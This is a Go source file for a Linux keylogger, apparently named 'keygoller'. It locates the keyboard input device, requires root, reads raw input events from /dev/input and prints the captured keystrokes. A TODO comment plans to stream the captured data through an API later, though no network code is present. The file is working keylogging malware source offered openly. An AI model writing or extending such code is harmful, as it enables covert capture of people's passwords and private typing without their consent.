package main

import (
	"bytes"
	"encoding/binary"
	"errors"
	"fmt"
	"io/ioutil"
	"os"
	"strings"
	"syscall"

	"git.postblue.info/keygoller/utils"
	"github.com/sirupsen/logrus"
)

var ()

type InputStreamMap struct {
	events map[string]InputStream
}

type InputStream struct {
	event utils.InputEvent
}

// KeyLogger is a wrapper around a file descriptor.
type KeyLogger struct {
	fd *os.File
}

func getKeyboard() string {
	path := "/sys/class/input/event%d/device/name"
	resolved := "/dev/input/event%d"

	for i := 0; i < 255; i++ {
		buff, err := ioutil.ReadFile(fmt.Sprintf(path, i))
		if err != nil {
			logrus.Error(err)
		}
		if strings.Contains(strings.ToLower(string(buff)), "keyboard") {
			return fmt.Sprintf(resolved, i)
		}
	}
	return ""
}

func (k *KeyLogger) IsRoot() bool {
	return syscall.Getuid() == 0 && syscall.Geteuid() == 0
}

func New(path string) (*KeyLogger, error) {
	k := &KeyLogger{}
	if !k.IsRoot() {
		return nil, errors.New("must be root")

	}
	fd, err := os.Open(path)
	if err != nil {
		return nil, err
	}
	k.fd = fd
	return k, nil
}

func (k *KeyLogger) Read() chan utils.InputEvent {
	event := make(chan utils.InputEvent)
	go func(even chan utils.InputEvent) {
		for {
			stream, err := k.read()
			if err != nil {
				logrus.Error(err)
				close(event)
				break
			}

			if stream != nil {
				event <- *stream
			}

		}
	}(event)
	return event
}

func (k *KeyLogger) read() (*utils.InputEvent, error) {
	buffer := make([]byte, utils.Eventsize)
	n, err := k.fd.Read(buffer)
	if err != nil {
		return nil, err
	}

	if n <= 0 {
		return nil, nil
	}

	return k.eventFromBuffer(buffer)
}

func (k *KeyLogger) eventFromBuffer(buffer []byte) (*utils.InputEvent, error) {
	event := &utils.InputEvent{}
	err := binary.Read(bytes.NewBuffer(buffer), binary.LittleEndian, event)
	return event, err
}

func (k *KeyLogger) Close() error {
	if k.fd == nil {
		return nil
	}

	return k.fd.Close()
}

func output(input InputStream) {
	var res string
	for {
		if input.event.KeyString() != "" {
			res += input.event.KeyString()
		}
		fmt.Println(res)

	}
}

func join(strs ...string) string {
	var sb strings.Builder
	for _, str := range strs {
		sb.WriteString(str)
	}
	return sb.String()
}

func main() {
	fmt.Println("Your keyboard input will be here: ", getKeyboard())
	// TODO
	// !) get streaming data from keyboard
	// 2 unpackage the data to be human readable
	// 3 stream the data through an api
	keyboard := getKeyboard()
	klog, err := New(keyboard)
	if err != nil {
		logrus.Error(err)
		os.Exit(1)
	}
	defer klog.Close()
	events := klog.Read()
	// stream := InputStream{}
	var b strings.Builder
	for e := range events {
		switch e.Type {

		case utils.EvKey:
			if e.KeyPress() {
				b.WriteString(e.KeyString())
			}

			break
		default:
			fmt.Println(b.String())
		}
	}

}
